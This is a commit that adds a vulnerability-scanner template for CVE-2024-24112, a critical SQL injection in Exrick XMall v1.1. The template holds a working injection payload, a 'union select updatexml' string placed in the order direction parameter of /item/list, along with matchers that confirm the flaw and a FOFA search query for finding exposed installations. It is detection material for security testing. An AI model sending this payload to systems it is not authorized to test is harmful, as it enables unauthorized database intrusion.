Create CVE-2024-24112.yaml

patch-4
Dhiyaneshwaran 2024-06-18 16:20:39 +05:30 committed by GitHub
parent 906d2b890f
commit 825c9ad585
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
1 changed files with 50 additions and 0 deletions

View File

@ -0,0 +1,50 @@
id: CVE-2024-24112
info:
name: Exrick XMall - SQL Injection
author: DhiyaneshDk
severity: critical
description: |
xmall v1.1 was discovered to contain a SQL injection vulnerability via the orderDir parameter.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2024-24112
- https://github.com/Exrick/xmall/issues/78
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2024-24112
cwe-id: CWE-89
epss-score: 0.00076
epss-percentile: 0.32712
cpe: cpe:2.3:a:exrick:xmall:1.1:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: exrick
product: xmall
fofa-query: app="XMall-后台管理系统"
tags: cve,cve2024,xmall,sqli
variables:
num: "{{rand_int(9000000, 9999999)}}"
http:
- raw:
- |
GET /item/list?draw=1&order%5B0%5D%5Bcolumn%5D=1&order%5B0%5D%5Bdir%5D=desc)a+union+select+updatexml(1,concat(0x7e,{{md5(num)}},0x7e),1)%23;&start=0&length=1&search%5Bvalue%5D=&search%5Bregex%5D=false&cid=-1&_=1 HTTP/1.1
Host: {{Hostname}}
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
matchers-condition: and
matchers:
- type: word
part: body
words:
- "{{md5(num)}}"
- "MySQLSyntaxErrorException"
condition: and
- type: status
status:
- 200